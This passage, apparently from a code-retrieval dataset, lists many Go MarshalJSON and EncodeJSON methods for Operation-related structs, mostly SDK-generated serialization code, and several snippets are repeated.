o.Operation)\n\tpopulate(objectMap, \"provider\", o.Provider)\n\tpopulate(objectMap, \"resource\", o.Resource)\n\treturn json.Marshal(objectMap)\n}","func (o OperationDisplay) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"description\", o.Description)\n\tpopulate(objectMap, \"operation\", o.Operation)\n\tpopulate(objectMap, \"provider\", o.Provider)\n\tpopulate(objectMap, \"resource\", o.Resource)\n\treturn json.Marshal(objectMap)\n}","func (o OperationDisplay) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"description\", o.Description)\n\tpopulate(objectMap, \"operation\", o.Operation)\n\tpopulate(objectMap, \"provider\", o.Provider)\n\tpopulate(objectMap, \"resource\", o.Resource)\n\treturn json.Marshal(objectMap)\n}","func (o OperationProperties) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"serviceSpecification\", o.ServiceSpecification)\n\treturn json.Marshal(objectMap)\n}","func (cvpbo CheckValuePropertyBatchOperation) MarshalJSON() ([]byte, error) {\n\tcvpbo.Kind = KindCheckValue\n\tobjectMap := make(map[string]interface{})\n\tobjectMap[\"Value\"] = cvpbo.Value\n\tif cvpbo.PropertyName != nil {\n\t\tobjectMap[\"PropertyName\"] = cvpbo.PropertyName\n\t}\n\tif cvpbo.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = cvpbo.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}","func (o OperationDisplay) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\treturn json.Marshal(objectMap)\n}","func (r ResourceProviderOperationCollection) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tpopulate(objectMap, \"nextLink\", r.NextLink)\n\tpopulate(objectMap, \"value\", r.Value)\n\treturn json.Marshal(objectMap)\n}","func (a AsyncOperationResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"error\", a.Error)\n\tpopulate(objectMap, \"name\", a.Name)\n\tpopulate(objectMap, \"status\", a.Status)\n\treturn json.Marshal(objectMap)\n}","func (op OpRetain) MarshalJSON() ([]byte, error) {\n\treturn json.Marshal(op.Fields)\n}","func (v OperationIdentifier) EncodeJSON(b []byte) []byte {\n\tb = append(b, `{\"index\":`...)\n\tb = json.AppendInt(b, v.Index)\n\tb = append(b, \",\"...)\n\tif v.NetworkIndex.Set {\n\t\tb = append(b, `\"network_index\":`...)\n\t\tb = json.AppendInt(b, v.NetworkIndex.Value)\n\t\tb = append(b, \",\"...)\n\t}\n\tb[len(b)-1] = '}'\n\treturn b\n}","func (op OpFlatten) MarshalJSON() ([]byte, error) {\n\treturn json.Marshal(op.Field)\n}","func (o OperationResultsDescription) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"id\", o.ID)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulateTimeRFC3339(objectMap, \"startTime\", o.StartTime)\n\tpopulate(objectMap, \"status\", o.Status)\n\treturn json.Marshal(objectMap)\n}","func (olr OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\treturn json.Marshal(objectMap)\n}","func (p ProviderOperationResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tpopulate(objectMap, \"nextLink\", p.NextLink)\n\tpopulate(objectMap, \"value\", p.Value)\n\treturn json.Marshal(objectMap)\n}","func (diff Diff) MarshalJSON() ([]byte, error) {\n var o map[string] interface{} = make(map[string] interface{})\n o[\"op\"] = diff.Operation\n o[\"id\"] = diff.Id\n o[\"type\"] = diff.Type\n o[\"data\"] = string(diff.Data)\n if diff.Attr.Key != \"\" {\n var a map[string] interface{} = make(map[string] interface{})\n a[\"key\"] = diff.Attr.Key\n if diff.Attr.Namespace != \"\" {\n a[\"ns\"] = diff.Attr.Namespace\n }\n if diff.Attr.Val != \"\" {\n a[\"val\"] = diff.Attr.Val\n }\n o[\"attr\"] = a\n }\n json, err := json.Marshal(&o)\n if err != nil {\n return nil, err\n }\n return json, nil\n}","func (u BasicUpdateOperation) JSON() string {\n\tj, _ := json.Marshal(u)\n\treturn string(j)\n}","func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}","func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}","func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}","func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}","func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}","func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}","func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}","func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}","func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}","func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}","func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}","func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}"],"string":"[\n \"func (op *Operation) Marshal() ([]byte, error) {\\n\\treturn json.Marshal(op)\\n}\",\n \"func (o Operation)MarshalJSON() ([]byte, error){\\n objectMap := make(map[string]interface{})\\n return json.Marshal(objectMap)\\n }\",\n \"func (o Operation) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]interface{})\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o Operation) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"actionType\\\", o.ActionType)\\n\\tpopulate(objectMap, \\\"display\\\", o.Display)\\n\\tpopulate(objectMap, \\\"isDataAction\\\", o.IsDataAction)\\n\\tpopulate(objectMap, \\\"name\\\", o.Name)\\n\\tpopulate(objectMap, \\\"origin\\\", o.Origin)\\n\\tpopulate(objectMap, \\\"properties\\\", o.Properties)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o Operation) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"display\\\", o.Display)\\n\\tpopulate(objectMap, \\\"isDataAction\\\", o.IsDataAction)\\n\\tpopulate(objectMap, \\\"name\\\", o.Name)\\n\\tpopulate(objectMap, \\\"properties\\\", o.Properties)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o Operation) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"actionType\\\", o.ActionType)\\n\\tpopulate(objectMap, \\\"display\\\", o.Display)\\n\\tpopulate(objectMap, \\\"isDataAction\\\", o.IsDataAction)\\n\\tpopulate(objectMap, \\\"name\\\", o.Name)\\n\\tpopulate(objectMap, \\\"origin\\\", o.Origin)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o Operation) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"actionType\\\", o.ActionType)\\n\\tpopulate(objectMap, \\\"display\\\", o.Display)\\n\\tpopulate(objectMap, \\\"isDataAction\\\", o.IsDataAction)\\n\\tpopulate(objectMap, \\\"name\\\", o.Name)\\n\\tpopulate(objectMap, \\\"origin\\\", o.Origin)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o Operation) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"actionType\\\", o.ActionType)\\n\\tpopulate(objectMap, \\\"display\\\", o.Display)\\n\\tpopulate(objectMap, \\\"isDataAction\\\", o.IsDataAction)\\n\\tpopulate(objectMap, \\\"name\\\", o.Name)\\n\\tpopulate(objectMap, \\\"origin\\\", o.Origin)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o Operation) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"actionType\\\", o.ActionType)\\n\\tpopulate(objectMap, \\\"display\\\", o.Display)\\n\\tpopulate(objectMap, \\\"isDataAction\\\", o.IsDataAction)\\n\\tpopulate(objectMap, \\\"name\\\", o.Name)\\n\\tpopulate(objectMap, \\\"origin\\\", o.Origin)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o Operation) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"actionType\\\", o.ActionType)\\n\\tpopulate(objectMap, \\\"display\\\", o.Display)\\n\\tpopulate(objectMap, \\\"isDataAction\\\", o.IsDataAction)\\n\\tpopulate(objectMap, \\\"name\\\", o.Name)\\n\\tpopulate(objectMap, \\\"origin\\\", o.Origin)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o Operation) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"actionType\\\", o.ActionType)\\n\\tpopulate(objectMap, \\\"display\\\", o.Display)\\n\\tpopulate(objectMap, \\\"isDataAction\\\", o.IsDataAction)\\n\\tpopulate(objectMap, \\\"name\\\", o.Name)\\n\\tpopulate(objectMap, \\\"origin\\\", o.Origin)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (s *Operation) MarshalJSON() ([]byte, error) {\\n\\treturn json.Marshal(*s)\\n}\",\n \"func (o Operation) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"display\\\", o.Display)\\n\\tpopulate(objectMap, \\\"name\\\", o.Name)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o Operation) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"display\\\", o.Display)\\n\\tpopulate(objectMap, \\\"name\\\", o.Name)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o Operation) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"display\\\", o.Display)\\n\\tpopulate(objectMap, \\\"name\\\", o.Name)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o Operation) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"display\\\", o.Display)\\n\\tpopulate(objectMap, \\\"name\\\", o.Name)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o Operation) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"display\\\", o.Display)\\n\\tpopulate(objectMap, \\\"name\\\", o.Name)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o Operation) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"display\\\", o.Display)\\n\\tpopulate(objectMap, \\\"name\\\", o.Name)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o Operation) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"display\\\", o.Display)\\n\\tpopulate(objectMap, \\\"name\\\", o.Name)\\n\\tpopulate(objectMap, \\\"origin\\\", o.Origin)\\n\\tpopulateAny(objectMap, \\\"properties\\\", o.Properties)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o Operation) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"display\\\", o.Display)\\n\\tpopulate(objectMap, \\\"name\\\", o.Name)\\n\\tpopulate(objectMap, \\\"origin\\\", o.Origin)\\n\\tpopulate(objectMap, \\\"properties\\\", o.Properties)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o Operation) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"display\\\", o.Display)\\n\\tpopulate(objectMap, \\\"name\\\", o.Name)\\n\\tpopulate(objectMap, \\\"origin\\\", o.Origin)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o Operation) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"display\\\", o.Display)\\n\\tpopulate(objectMap, \\\"name\\\", o.Name)\\n\\tpopulate(objectMap, \\\"origin\\\", o.Origin)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o Operation) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]interface{})\\n\\tif o.Display != nil {\\n\\t\\tobjectMap[\\\"display\\\"] = o.Display\\n\\t}\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o Operation) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]interface{})\\n\\tif o.Display != nil {\\n\\t\\tobjectMap[\\\"display\\\"] = o.Display\\n\\t}\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (insert InsertOperation) MarshalJSON() ([]byte, error) {\\n\\t// validate required fields\\n\\tswitch {\\n\\tcase len(insert.Table) == 0:\\n\\t\\treturn nil, errors.New(\\\"Table field is required\\\")\\n\\tcase insert.Row == nil:\\n\\t\\treturn nil, errors.New(\\\"Row field is required\\\")\\n\\t}\\n\\n\\tvar temp = struct {\\n\\t\\tOp OperationType `json:\\\"op\\\"`\\n\\t\\tTable ID `json:\\\"table\\\"`\\n\\t\\tRow Row `json:\\\"row\\\"`\\n\\t\\tUUIDName ID `json:\\\"uuid-name,omitempty\\\"`\\n\\t}{\\n\\t\\tOp: insert.Op(),\\n\\t\\tTable: insert.Table,\\n\\t\\tRow: insert.Row,\\n\\t\\tUUIDName: insert.UUIDName,\\n\\t}\\n\\n\\treturn json.Marshal(temp)\\n}\",\n \"func (mutate MutateOperation) MarshalJSON() ([]byte, error) {\\n\\t// validate required fields\\n\\tswitch {\\n\\tcase len(mutate.Table) == 0:\\n\\t\\treturn nil, errors.New(\\\"Table field is required\\\")\\n\\tcase len(mutate.Where) == 0:\\n\\t\\treturn nil, errors.New(\\\"Where field is required\\\")\\n\\tcase len(mutate.Mutations) == 0:\\n\\t\\treturn nil, errors.New(\\\"Mutations field is required\\\")\\n\\t}\\n\\t// validate contions\\n\\tfor _, cond := range mutate.Where {\\n\\t\\tif !cond.Valid() {\\n\\t\\t\\treturn nil, fmt.Errorf(\\\"Invalid condition: %v\\\", cond)\\n\\t\\t}\\n\\t}\\n\\t// validate mutations\\n\\tfor _, mutation := range mutate.Mutations {\\n\\t\\tif !mutation.Valid() {\\n\\t\\t\\treturn nil, fmt.Errorf(\\\"Invalid mutation: %v\\\", mutation)\\n\\t\\t}\\n\\t}\\n\\n\\tvar temp = struct {\\n\\t\\tOp OperationType `json:\\\"op\\\"`\\n\\t\\tTable ID `json:\\\"table\\\"`\\n\\t\\tWhere []Condition `json:\\\"where\\\"`\\n\\t\\tMutations []Mutation `json:\\\"mutations\\\"`\\n\\t}{\\n\\t\\tOp: mutate.Op(),\\n\\t\\tTable: mutate.Table,\\n\\t\\tWhere: mutate.Where,\\n\\t\\tMutations: mutate.Mutations,\\n\\t}\\n\\n\\treturn json.Marshal(temp)\\n}\",\n \"func (pbo PropertyBatchOperation) MarshalJSON() ([]byte, error) {\\n\\tpbo.Kind = KindPropertyBatchOperation\\n\\tobjectMap := make(map[string]interface{})\\n\\tif pbo.PropertyName != nil {\\n\\t\\tobjectMap[\\\"PropertyName\\\"] = pbo.PropertyName\\n\\t}\\n\\tif pbo.Kind != \\\"\\\" {\\n\\t\\tobjectMap[\\\"Kind\\\"] = pbo.Kind\\n\\t}\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (ppbo PutPropertyBatchOperation) MarshalJSON() ([]byte, error) {\\n\\tppbo.Kind = KindPut\\n\\tobjectMap := make(map[string]interface{})\\n\\tobjectMap[\\\"Value\\\"] = ppbo.Value\\n\\tif ppbo.CustomTypeID != nil {\\n\\t\\tobjectMap[\\\"CustomTypeId\\\"] = ppbo.CustomTypeID\\n\\t}\\n\\tif ppbo.PropertyName != nil {\\n\\t\\tobjectMap[\\\"PropertyName\\\"] = ppbo.PropertyName\\n\\t}\\n\\tif ppbo.Kind != \\\"\\\" {\\n\\t\\tobjectMap[\\\"Kind\\\"] = ppbo.Kind\\n\\t}\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (j *WorkerCreateOperation) MarshalJSON() ([]byte, error) {\\n\\tvar buf fflib.Buffer\\n\\tif j == nil {\\n\\t\\tbuf.WriteString(\\\"null\\\")\\n\\t\\treturn buf.Bytes(), nil\\n\\t}\\n\\terr := j.MarshalJSONBuf(&buf)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn buf.Bytes(), nil\\n}\",\n \"func (gpbo GetPropertyBatchOperation) MarshalJSON() ([]byte, error) {\\n\\tgpbo.Kind = KindGet\\n\\tobjectMap := make(map[string]interface{})\\n\\tif gpbo.IncludeValue != nil {\\n\\t\\tobjectMap[\\\"IncludeValue\\\"] = gpbo.IncludeValue\\n\\t}\\n\\tif gpbo.PropertyName != nil {\\n\\t\\tobjectMap[\\\"PropertyName\\\"] = gpbo.PropertyName\\n\\t}\\n\\tif gpbo.Kind != \\\"\\\" {\\n\\t\\tobjectMap[\\\"Kind\\\"] = gpbo.Kind\\n\\t}\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o Operations) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]interface{})\\n\\tif o.NextLink != nil {\\n\\t\\tobjectMap[\\\"nextLink\\\"] = o.NextLink\\n\\t}\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (j *ProposalUpdateOperation) MarshalJSON() ([]byte, error) {\\n\\tvar buf fflib.Buffer\\n\\tif j == nil {\\n\\t\\tbuf.WriteString(\\\"null\\\")\\n\\t\\treturn buf.Bytes(), nil\\n\\t}\\n\\terr := j.MarshalJSONBuf(&buf)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn buf.Bytes(), nil\\n}\",\n \"func (v bulkUpdateRequestCommandOp) MarshalJSON() ([]byte, error) {\\n\\tw := jwriter.Writer{}\\n\\teasyjson1ed00e60EncodeGithubComOlivereElasticV7(&w, v)\\n\\treturn w.Buffer.BuildBytes(), w.Error\\n}\",\n \"func (j *CreateNhAssetOperation) MarshalJSON() ([]byte, error) {\\n\\tvar buf fflib.Buffer\\n\\tif j == nil {\\n\\t\\tbuf.WriteString(\\\"null\\\")\\n\\t\\treturn buf.Bytes(), nil\\n\\t}\\n\\terr := j.MarshalJSONBuf(&buf)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn buf.Bytes(), nil\\n}\",\n \"func (o OperationsDefinition) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"actionType\\\", o.ActionType)\\n\\tpopulate(objectMap, \\\"display\\\", o.Display)\\n\\tpopulate(objectMap, \\\"isDataAction\\\", o.IsDataAction)\\n\\tpopulate(objectMap, \\\"name\\\", o.Name)\\n\\tpopulate(objectMap, \\\"origin\\\", o.Origin)\\n\\tpopulateAny(objectMap, \\\"properties\\\", o.Properties)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationInputs) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"name\\\", o.Name)\\n\\tpopulate(objectMap, \\\"type\\\", o.Type)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationInputs) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"name\\\", o.Name)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (t OperationResult) MarshalJSON() ([]byte, error) {\\n\\treturn json.Marshal(t.String())\\n}\",\n \"func (v BaseOp) MarshalJSON() ([]byte, error) {\\n\\tw := jwriter.Writer{}\\n\\teasyjson25363b2dEncodeGithubComDarkfoxs96OpenApiV3SdkOkexGoSdkApi125(&w, v)\\n\\treturn w.Buffer.BuildBytes(), w.Error\\n}\",\n \"func (o OperationObj) MarshalJSON() ([]byte, error) {\\n\\treturn o.marshalJSONWithStruct(_OperationObj(o))\\n}\",\n \"func (s SelectOperation) MarshalJSON() ([]byte, error) {\\n\\t// validate required fields\\n\\tswitch {\\n\\tcase len(s.Table) == 0:\\n\\t\\treturn nil, errors.New(\\\"Table field is required\\\")\\n\\tcase len(s.Where) == 0:\\n\\t\\treturn nil, errors.New(\\\"Where field is required\\\")\\n\\t}\\n\\t// validate contions\\n\\tfor _, cond := range s.Where {\\n\\t\\tif !cond.Valid() {\\n\\t\\t\\treturn nil, fmt.Errorf(\\\"Invalid condition: %v\\\", cond)\\n\\t\\t}\\n\\t}\\n\\n\\tvar temp = struct {\\n\\t\\tOp OperationType `json:\\\"op\\\"`\\n\\t\\tTable ID `json:\\\"table\\\"`\\n\\t\\tWhere []Condition `json:\\\"where\\\"`\\n\\t\\tColumns []ID `json:\\\"columns,omitempty\\\"`\\n\\t}{\\n\\t\\tOp: s.Op(),\\n\\t\\tTable: s.Table,\\n\\t\\tWhere: s.Where,\\n\\t\\tColumns: s.Columns,\\n\\t}\\n\\n\\treturn json.Marshal(temp)\\n}\",\n \"func (od OperationDetail) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]interface{})\\n\\tif od.Name != nil {\\n\\t\\tobjectMap[\\\"name\\\"] = od.Name\\n\\t}\\n\\tif od.IsDataAction != nil {\\n\\t\\tobjectMap[\\\"isDataAction\\\"] = od.IsDataAction\\n\\t}\\n\\tif od.Display != nil {\\n\\t\\tobjectMap[\\\"display\\\"] = od.Display\\n\\t}\\n\\tif od.Origin != nil {\\n\\t\\tobjectMap[\\\"origin\\\"] = od.Origin\\n\\t}\\n\\tif od.OperationProperties != nil {\\n\\t\\tobjectMap[\\\"properties\\\"] = od.OperationProperties\\n\\t}\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (dpbo DeletePropertyBatchOperation) MarshalJSON() ([]byte, error) {\\n\\tdpbo.Kind = KindDelete\\n\\tobjectMap := make(map[string]interface{})\\n\\tif dpbo.PropertyName != nil {\\n\\t\\tobjectMap[\\\"PropertyName\\\"] = dpbo.PropertyName\\n\\t}\\n\\tif dpbo.Kind != \\\"\\\" {\\n\\t\\tobjectMap[\\\"Kind\\\"] = dpbo.Kind\\n\\t}\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (u UpdateOperation) MarshalJSON() ([]byte, error) {\\n\\t// validate required fields\\n\\tswitch {\\n\\tcase len(u.Table) == 0:\\n\\t\\treturn nil, errors.New(\\\"Table field is required\\\")\\n\\tcase len(u.Where) == 0:\\n\\t\\treturn nil, errors.New(\\\"Where field is required\\\")\\n\\tcase u.Row == nil:\\n\\t\\treturn nil, errors.New(\\\"Row field is required\\\")\\n\\t}\\n\\t// validate contions\\n\\tfor _, cond := range u.Where {\\n\\t\\tif !cond.Valid() {\\n\\t\\t\\treturn nil, fmt.Errorf(\\\"Invalid condition: %v\\\", cond)\\n\\t\\t}\\n\\t}\\n\\n\\tvar temp = struct {\\n\\t\\tOp OperationType `json:\\\"op\\\"`\\n\\t\\tTable ID `json:\\\"table\\\"`\\n\\t\\tWhere []Condition `json:\\\"where\\\"`\\n\\t\\tRow Row `json:\\\"row\\\"`\\n\\t}{\\n\\t\\tOp: u.Op(),\\n\\t\\tTable: u.Table,\\n\\t\\tWhere: u.Where,\\n\\t\\tRow: u.Row,\\n\\t}\\n\\n\\treturn json.Marshal(temp)\\n}\",\n \"func (o OperationResult) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]interface{})\\n\\tpopulateTimeRFC3339(objectMap, \\\"endTime\\\", o.EndTime)\\n\\tpopulate(objectMap, \\\"name\\\", o.Name)\\n\\tpopulateTimeRFC3339(objectMap, \\\"startTime\\\", o.StartTime)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (cspbo CheckSequencePropertyBatchOperation) MarshalJSON() ([]byte, error) {\\n\\tcspbo.Kind = KindCheckSequence\\n\\tobjectMap := make(map[string]interface{})\\n\\tif cspbo.SequenceNumber != nil {\\n\\t\\tobjectMap[\\\"SequenceNumber\\\"] = cspbo.SequenceNumber\\n\\t}\\n\\tif cspbo.PropertyName != nil {\\n\\t\\tobjectMap[\\\"PropertyName\\\"] = cspbo.PropertyName\\n\\t}\\n\\tif cspbo.Kind != \\\"\\\" {\\n\\t\\tobjectMap[\\\"Kind\\\"] = cspbo.Kind\\n\\t}\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (j *CommitteeMemberUpdateGlobalParametersOperation) MarshalJSON() ([]byte, error) {\\n\\tvar buf fflib.Buffer\\n\\tif j == nil {\\n\\t\\tbuf.WriteString(\\\"null\\\")\\n\\t\\treturn buf.Bytes(), nil\\n\\t}\\n\\terr := j.MarshalJSONBuf(&buf)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn buf.Bytes(), nil\\n}\",\n \"func (o OperationList) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"nextLink\\\", o.NextLink)\\n\\tpopulate(objectMap, \\\"value\\\", o.Value)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationList) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"nextLink\\\", o.NextLink)\\n\\tpopulate(objectMap, \\\"value\\\", o.Value)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (v Operation) EncodeJSON(b []byte) []byte {\\n\\tb = append(b, \\\"{\\\"...)\\n\\tif v.Account.Set {\\n\\t\\tb = append(b, `\\\"account\\\":`...)\\n\\t\\tb = v.Account.Value.EncodeJSON(b)\\n\\t\\tb = append(b, \\\",\\\"...)\\n\\t}\\n\\tif v.Amount.Set {\\n\\t\\tb = append(b, `\\\"amount\\\":`...)\\n\\t\\tb = v.Amount.Value.EncodeJSON(b)\\n\\t\\tb = append(b, \\\",\\\"...)\\n\\t}\\n\\tif v.CoinChange.Set {\\n\\t\\tb = append(b, `\\\"coin_change\\\":`...)\\n\\t\\tb = v.CoinChange.Value.EncodeJSON(b)\\n\\t\\tb = append(b, \\\",\\\"...)\\n\\t}\\n\\tif len(v.Metadata) > 0 {\\n\\t\\tb = append(b, `\\\"metadata\\\":`...)\\n\\t\\tb = append(b, v.Metadata...)\\n\\t\\tb = append(b, \\\",\\\"...)\\n\\t}\\n\\tb = append(b, '\\\"', 'o', 'p', 'e', 'r', 'a', 't', 'i', 'o', 'n', '_', 'i', 'd', 'e', 'n', 't', 'i', 'f', 'i', 'e', 'r', '\\\"', ':')\\n\\tb = v.OperationIdentifier.EncodeJSON(b)\\n\\tb = append(b, \\\",\\\"...)\\n\\tif len(v.RelatedOperations) > 0 {\\n\\t\\tb = append(b, '\\\"', 'r', 'e', 'l', 'a', 't', 'e', 'd', '_', 'o', 'p', 'e', 'r', 'a', 't', 'i', 'o', 'n', 's', '\\\"', ':', '[')\\n\\t\\tfor i, elem := range v.RelatedOperations {\\n\\t\\t\\tif i != 0 {\\n\\t\\t\\t\\tb = append(b, \\\",\\\"...)\\n\\t\\t\\t}\\n\\t\\t\\tb = elem.EncodeJSON(b)\\n\\t\\t}\\n\\t\\tb = append(b, \\\"],\\\"...)\\n\\t}\\n\\tif v.Status.Set {\\n\\t\\tb = append(b, `\\\"status\\\":`...)\\n\\t\\tb = json.AppendString(b, v.Status.Value)\\n\\t\\tb = append(b, \\\",\\\"...)\\n\\t}\\n\\tb = append(b, `\\\"type\\\":`...)\\n\\tb = json.AppendString(b, 